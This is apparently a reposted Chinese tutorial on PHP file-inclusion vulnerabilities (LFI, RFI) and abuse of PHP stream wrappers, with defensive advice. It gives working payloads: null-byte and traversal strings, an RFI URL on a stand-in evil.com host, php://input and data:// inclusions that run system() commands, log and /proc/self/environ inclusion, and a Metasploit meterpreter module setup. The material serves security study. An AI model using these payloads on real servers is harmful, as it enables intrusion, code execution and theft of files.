首页 > 代码库 > LFI & RFI & PHP封装协议之安全问题研究

LFI & RFI & PHP封装协议之安全问题研究

目录

1. 文件包含的基本概念
2. LFI(Local File Include)
3. RFI(Remote File Include)
4. PHP中的封装协议(伪协议)、PHP的流式文件操作模式所带来的问题

 

1. 文件包含的基本概念

严格来说,文件包含漏洞是"代码注入"的一种。"代码注入"这种攻击,其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行。
"代码注入"的典型代码就是文件包含(File Inclusion),我的理解是叫"外部数据流包含",至于这个外部数据流是什么,可以是文件,也可以是POST数据流的形式。
文件包含可能会出现在JSP,PHP,ASP等语言中。

PHP: include(), include_once, require(), require_once(), fopen(), readfile()
JSP/Servlet: ava.io.File(), Java.io.FileReader()
ASP: include file, include virtual

在PHP中,当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP的内核并不会在意被包含的文件是什么类型。所以如果被包含的是txt、图片、远程URL。也都会被当作PHP代码执行(图片型木马的原理也就在这里)。

要想成功利用文件包含漏洞,需要满足下面的条件
1) include()等函数通过动态变量的方式引入需要包含的文件

(攻击者可以本地变量任意覆盖的漏洞或者自定义前缀的漏洞来达到这个动态引入的漏洞利用)

example:
<?php
$file = $_GET[file];
@include_once("$file" . "/templete/tpl.html");
?>
黑客可以采取:
1) %00、/0截断的方式使程序包含攻击者想要的文件
2) 攻击者输入一个remote url: http://www.evil.com/index.php? ,如果目标服务器开启了allow_url_include = On则这句代码表现为: @include_once("http://www.evil.com/index.php?/templete/tpl.html");
可以看到,根据HTTP参数的定义,"?"后面的内容被当作了传给这个脚本的参数,从而达到了00截断相同的效果

2) 用户能够控制该动态变量

<?php
$file = $_GET[file];
@include_once("$file");
?>
这种情况的利用方式就更多了,接下来我会尽我所能,把我搜集到的资料分享给大家

 

2. LFI(Local File Include)本地文件包含

在探讨本地文件包含的漏洞之前,我觉得有必要先一下本地文件包含的作用。在WEB开发中为什么要使用本地文件包含,它有什么作用。

一般来说,本地文件包含(即include)有以下几点作用

1) 将网站页面通用的page_header.php(常常显示banner信息等)、页面尾部page_footer.php(常常显示版权信息等)独立出来,这样在任何页面需要的时候就可以直接通过include方式引入进来,提高了代码的重用性,加快了开发速度
2) 将通用配置文件,例如数据库连接文件database.php单独封装出来,方便需要进行数据库连接的时候就可以直接通过include方式引入进来
3) 将一些涉及到安全过滤、输入检测的代码逻辑单独封装成一个secure.php文件,这样就可以在整个WEB系统中进行统一的安全过滤处理,防止因为各个业务场景的代码逻辑不一致导致的漏洞
4) WEB系统中广泛采用的文件缓存、数据缓存都是通过include方式完成的

了解了LFI的应用场景之后,我们来学习一下LFI的成因、以及可能产生的安全问题

能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞(Local File Inclusion LFI)

下面是一段测试代码:

<?php
// "../../etc/passwd\0"
$file = $_GET[file]; 
if(file_exists(/home/wwwrun/ . $file . .php))
{
inlcude /home/wwwrun/ . $file . .php;
}
?>

这个方案看似很安全,程序员把inlcude路径的前缀部分、后缀部分都给控制住了。相比于连路径的前缀都由用户控制的那种漏洞已经安全多了。但是这里存在几个问题

1) 00字符截断

PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。

../etc/passwd\0

通过web输入时,只需UrlEncode,变成:

../etc/passwd%00

字符串截断的技巧,也是文件包含中最常用的技巧

防御方法:
在一般的web应用中,0字节用户其实是不需要的,因此完全可以禁用0字节

<?php
    function getVar($name)
    {
        $value = isset($_GET[$name]) ? $_GET[$name] : null;
      if(is_string($value))
      {
          $value = str_replace("\0", ‘‘, $value);
      }
  }  
?>

2) 超长字符截断

采用00字符过滤并没有完全解决问题,

利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。

http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html
我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
而利用"./"的方式即可构造出超长目录字符串:

././././././././././././././././abc
////////////////////////abc
..1/abc/../1/abc/../1/abc

延伸一个话题:

这种截断型漏洞我觉得和有一种数据库截断的导致越权访问的漏洞类似:

在数据库的表中一般会对某个字段的长度进行限制,如果长度超过了这个长度会被数据库自动截断,如果原本存在一个admin账户(并且长度限制为5),那么攻击者可以尝试注册admin_test,但是因为数据库的长度限制,导致被截断了,也变成了admin,这种漏洞利用思想就是利用两个系统范围之间的标准不一致导致的绕过思路)
。操作系统把目录字符串的超出部分截断了,反过来导致了攻击者可以任意控制想要输入的文件名

除了incldue()等4个函数之外,PHP中能够对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行PHP代码,但能够读取敏感文件带来的后果也是比较严重的。例如: fopen()、fread()

0x3: 任意目录遍历

除了这种攻击方式,还可以使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历(Path Traversal)"。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)

%2e%2e%2f    ->    ../
%2e%2e/     ->    ../
..%2f     ->    ../
%2e%2e%5c    ->    ..%2e%2e%\    ->    ....%5c     ->    ..%252e%252e%255c    ->    ....%255c     ->    ..\

防御方法:
目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。
open_basedir的作用是限制在某个特定目录下PHP能打开的文件(有点像chroot的感觉)

比如在没有设置open_basedir时,文件包含漏洞可以访问任意文件

http://localhost/FIleInclude/index.php?file=../Time/index

当设置了open_basedir时:

open_basedir = E:\wamp\www\FIleIncludehttp://localhost/FIleInclude/index.php?file=../Time/index
Warning: file_exists(): open_basedir restriction in effect. File(../Time/index.php) is not within the allowed path(s): (E:\wamp\www\FIleInclude\) in E:\wamp\www\FIleInclude\index.php on line 4
Call Stack
文件包含失败!!!

综上,要防御LFI的漏洞,应该尽量避免包含动态的变量,尤其是用户可以控制的变量。一种变通的方式,则是使用枚举:

<?php
    $file = $_GET[file];

    //whitelisting possible values
    switch($file)
    {
        case "main":
        case "foo":
        case "bar":
            include "/home/wwwrun/include" . $file . ".php";
            break;
        default:
            include "/home/wwwrun/include/main.php";
    }
?>

这是一种参数化白名单的防御思想。通过将可能的值限定在一个可能的范围内来控制风险。$file的值被枚举出来,也就避免了因为用户的非法输入导致文件包含的风险。

 

3. RFI(Remote File Include)远程文件包含

远程文件包含本质上和LFI(本地文件包含)是同一个概念,只是被包含的"文件源"(我们之后会了解到其实是流源)不是从本次磁盘上获得,而是从外部输入流得到。

如果PHP的配置选项allow_url_include为ON的话,则include/require函数可以加载远程文件,这种漏洞被称为"远程文件包含漏洞(Remote File Inclusion RFI)"。

为了更好地说明,我们还是准备一段典型代码:

<?php 
    $basePath = $_GET[path];
    require_once $basePath . "/action/m_share.php";  
?>

这里看似将路径的后半段都定死了,但是结合HTTP传参的原理可以绕过去

攻击者可以构造类似如下的攻击URL

http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?

产生的原理:

/?path=http://localhost/test/solution.php?
最终目标应用程序代码实际上执行了:
require_once "http://localhost/test/solution.php?/action/m_share.php";
(注意,这里很巧妙,问号"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00一样)
攻击者可以在http://localhost/test/solution.php上模拟出相应的路径,从而使之吻合

防御思路:

1. 关闭远程文件包含的配置选项
allow_url_include = Off

关于LFI还有另一种攻击方式,我们将在接下来学习了PHP的伪协议封装器、流之后理解到它的原理

 

4. PHP中的封装协议(伪协议)、PHP的流式文件操作模式所带来的问题

我们知道,我们利用远程/本地文件包含漏洞的目的有以下几个:

1) 越权访问文件(/etc/passwd)
    1.1) 00截断
    1.2) 超长截断
    1.3) 目录遍历的攻击方式
2) 任意代码执行
    2.1) 通过正常、非正常将一个包含有脚本代码的文件上传到服务器上(常常是.jpg图片格式,将代码藏在图片中),然后在攻击paylaod中引入这个包含脚本代码的文件,使代码得以执行(图片木马)
    2.2) 通过包含服务器上的WEB系统原本就存在的.php脚本文件达到改变代码逻辑的目的
    2.3) 通过RFI(远程文件包含)将I/O流、协议流的资源描述符作为文件包含的输入源,从而利用HTTP通信将任意代码注入原始的脚本执行空间中

 接下来,我们将逐一学习PHP中的封装协议

http://cn2.php.net/manual/zh/wrappers.php

1
PHP 带有很多内置 URL 风格的封装协议(scheme://... ),可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。和javascript在浏览器中实现的一些的伪协议类似,PHP的伪协议提供了另一种"非常规"的方式进行数据的输入、输出

我对它们进行了一个大致的分类,分别对应于不同类型的漏洞攻击方式

0x1: 越权访问本地文件

1) file:// — 访问本地文件系统
文件系统是PHP使用的默认封装协议,展现了本地文件系统

<?php
  $res = file_get_contents("file://E://wamp//www//test//solution.php");
  var_dump($res);
?>

这里的要重点注意,file://这个伪协议可以展示"本地文件系统",当存在某个用户可控制、并得以访问执行的输入点时,我们可以尝试输入file://去试图获取本地磁盘文件

http://www.wechall.net/challenge/crappyshare/index.php

http://www.wechall.net/challenge/crappyshare/crappyshare.php

在这题CTF中,攻击的关键点在于:curl_exec($ch)

function upload_please_by_url($url)
{ 
  if (1 === preg_match(#^[a-z]{3,5}://#, $url)) # Is URL? 
  {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_FAILONERROR, true);
    if (false === ($file_data =http://www.mamicode.com/ curl_exec($ch)))
    {
      htmlDisplayError(cURL failed.);
    }
    else
    {
      // Thanks
      upload_please_thx($file_data);
    }
  }
  else
  {
    htmlDisplayError(Your URL looks errorneous.);
  }
}

当我们输入的file://参数被带入curl中执行时,原本的远程URL访问会被重定向到本地磁盘上,从而达到越权访问文件的目的

2) php://filter -- 对本地磁盘文件进行读写
php://filter是一种元封装 器,设计用于"数据流打开"时的"筛选过滤"应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()、 file_get_contens(),在数据流内容读取之前没有机会应用其他过滤器

<?php 
  @include($_GET["file"]);
?>
url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+   (base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码)

向磁盘写入文件

<?php
  /* 这会通过 rot13 过滤器筛选出字符 "Hello World"
  然后写入当前目录下的 example.txt */
  file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>
这个参数采用一个或以管道符 | 分隔的多个过滤器名称

0x2: 代码任意执行

1) php:// — 访问各个输入/输出流(I/O streams)
http://cn2.php.net/manual/zh/wrappers.php.php
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
1.1) php://input
php://input 是个可以访问请求的原始数据的只读流(这个原始数据指的是POST数据)

<?php
    $res = file_get_contents("php://input");
    var_dump($res);
?>
post提交数据:hello
result: hello

伪协议php://input需要服务器支持,同时要求"allow_url_include"设置为"On"

利用伪协议的这种性质,我们可以将LFI衍生为一个code excute漏洞
http://www.freebuf.com/articles/web/14097.html#comment-16863

<?php 
  @eval(file_get_contents(php://input))
?> 
http://localhost/test/index.php
post: system("dir");
result: list directory

这本质上远程文件包含的利用,我们知道,远程文件包含中的include接收的是一个"资源定位符",在大多数情况下这是一个磁盘文件路径,但是从 流的角度来看,这也可以是一个流资源定位符,即我们将include待包含的资源又重定向到了输入流中,从而可以输入我们的任意code到include 中

<?php
  @include($_GET["file"]);
?>
http://localhost/test/index.php?file=php://input
post: <?php system(ipconfig);?>
result: ip information

(有一点要注意)
<?php echo file_get_contents("solution.php");?>
在 利用文件包含进行代码执行的时候,我们通过file_get_contents获取到的文件内容,如果是一个.php文件,会被当作include的输入 参数,也就意味着会被再执行一次,则我们无法看到原始代码了,解决这个问题的方法就是使用base64_encode进行编码
<?php echo base64_encode(file_get_contents("solution.php"));?>

php://伪协议框架中还有其他的流,但是和源代码执行似乎没有关系,这里也列出来大家一起学习吧
php://output是一个只写的数据流,允许我们以print和echo一样的方式写入到输出缓冲区

<?php
  $data = "hello LittleHann";
  $res = file_put_contents("php://output", $data); 
?>
result: hello LittleHann

php://memory和php://temp是一个类似"文件包装器"的数据流,允许读写"临时数据"。两者唯一的区别是:

1) php://memory 总是把数据存储在内存中
2) php://temp会在内存量达到预定义的限制后(默认是2M)存入临时文件中

临时文件位置的决定和sys_get_temp_dir()的方式一致(upload_tmp_dir = "E:/wamp/tmp")

<?php
  $fp = fopen("php://memory", r+);
  fputs($fp, "hello LittleHann!!!\n");
  rewind($fp);
  while(!feof($fp))
  {
    echo fread($fp, 1024);
  }
  fclose($fp);
?>
result:
hello LittleHann!!!

2) data://伪协议

http://www.php.net/manual/zh/wrappers.data.php
这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)

利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

data:text/plain,...

<?php 
  @include($_GET["file"]);
?>
url: http://localhost/test/wrapper.php?file=data:text/plain,<?php system("net user")?>
result: user information

data://text/base64,...

<?php 
  @include($_GET["file"]);
?>
url: http://localhost/test/wrapper.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4=
result: user information

data://image/jpeg;base64,...

<?php 
  $jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array[imagedata])); 
?>
图片木马 

0x3: 目录遍历

1) glob://伪协议

glob:// 查找匹配的文件路径模式

<?php
  // 循环 ext/spl/examples/ 目录里所有 *.php 文件
  // 并打印文件名和文件尺寸
  $it = new DirectoryIterator("glob://E:\\wamp\\www\\test\\*.php");
  foreach($it as $f) 
  {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
  }
?>

 

5. 文件包含可能存在的其他利用方式

这里用"可能"存在是因为有些利用方式和WEB系统的具体业务场景、代码逻辑、服务器的版本、配置有关,不具有通用性

0x1: 包含Session文件

包含Session文件的条件也较为苛刻,它需要攻击者能够"控制"部分Session文件的内容。
x|s:19:"<?php phpinfo(); ?>"
PHP默认生成的Session文件往往存放在/tmp目录下
/tmp/sess_SESSIONID

0x2: 包含日志文件,比如Web Server的access.log

包含日志文件是一种比较灵活的技巧,因为服务器一般都会往web server的access_log里记录客户端的请求信息,在error_log里记录出错信息。因此攻击者可以间接地将PHP代码写入到日志文件中,在文件包含时,只需要包含日志文件即可

织梦CMS的一个利用mysql的错误语句,然后程序会把错误信息写入到网站的目录下的一个.php文件中。攻击者只要在这此的错误请求中附带上PHP代码,就可以达到getshell的目的,就是这个思路
http://sebug.net/vuldb/ssvid-12154
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞

MSF攻击模块

use exploit/unix/webapp/php_include
set rhost 192.168.159.128
set rport 80
set phpuri /index.php?file=xxLFIxx
set path http://172.18.176.147/
set payload php/meterpreter/bind_tcp
set srvport 8888
exploit -z

0x3: 包含/proc/self/environ文件

包含/proc/self/environ是一种更通用的方法,因为它根本不需要猜测包包含文件的路径,同时用户也能控制它的内容。

http://192.168.159.128/index.php?file=../../../../../../../proc/self/environ
SSH_AGENT_PID=4314
HOSTNAME=localhost.localdomain
DESKTOP_STARTUP_ID=TERM=xtermSHELL=/bin/bash
HISTSIZE=1000KDE_NO_IPV6=1GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2WINDOWID=26239249USER=rootLS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:GNOME_KEYRING_SOCKET=/tmp/keyring-SlrelE/socketSSH_AUTH_SOCK=/tmp/ssh-lFKDab4288/agent.4288KDEDIR=/usrSESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/4288MAIL=/var/spool/mail/rootPATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/binINPUTRC=/etc/inputrcPWD=/var/log/httpdXMODIFIERS=@im=noneLANG=en_US.UTF-8KDE_IS_PRELINKED=1SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpassSHLVL=3HOME=/rootGNOME_DESKTOP_SESSION_ID=DefaultLOGNAME=rootCVS_RSH=sshDBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-WIFRtyS0Yc,guid=4ede99c74b6a8ca1097e5500527437aeLESSOPEN=|/usr/bin/lesspipe.sh %sDISPLAY=:0.0G_BROKEN_FILENAMES=1COLORTERM=gnome-terminalXAUTHORITY=/root/.Xauthority_=/bin/catOLDPWD=/var/log

0x4: 包含上传的临时文件(RFC1867)

但PHP创建的上传临时文件,往往处于PHP允许访问的目录范围内。
PHP处理上传文件的过程是这样的:

HTTP POST with a file arrives
PHP begins analysis
PHP creates temp file
PHP writes data to temp file
PHP close temp file
script execution begins
[optional] script moves uploaded file
script execution ends
PHP removes temp files(if any)

PHP会为上传文件创建临时文件,其目录在php.ini的upload_tmp_dir中定义。但该值默认为空,此时在linux下会使用/tmp目录,在windows下会使用C:\windows\temp目录。
该临时文件的文件名是随机的,攻击者必须准确猜测出该文件名才能成功利用此漏洞(之前分析的伪随机数漏洞)。

PHP在此处并没有使用安全的随机函数,因此使得暴力猜解文件名成为可能。在windows下,仅有65535种不同的文件名。
http://www.exploit-db.com/download_pdf/17010/

在Sun Java 6 Update 11之前的createTempFile()中存在一个随机数可预测的问题,在短时间内生成的随机数实际上是顺序增长的

http://hi.baidu.com/aullik5/item/2f851fc4bf9f3266f7c95dc2

import java.io.*;
public class getTemp 
{
    public static void main(String[] args)
    {
        File f = null;
        String extension = ".tmp";
        try
        {
            for(int i = 0; i < 100; i++)
            {
                f = File.createTempFile("temp", extension);
                System.out.println(f.getPath());
            }
        }
        catch(IOException e)
        {
            //
        }
    }
}

 

6. 后记

本文对文件包含的学习就到这里了,这里推荐一个网站,国外办的一个长期的learning site,题目蛮不错的,可以学到不少东西

http://www.wechall.net/challenge/warchall/live_rfi/index.php
http://www.wechall.net/challenge/warchall/live_lfi/index.php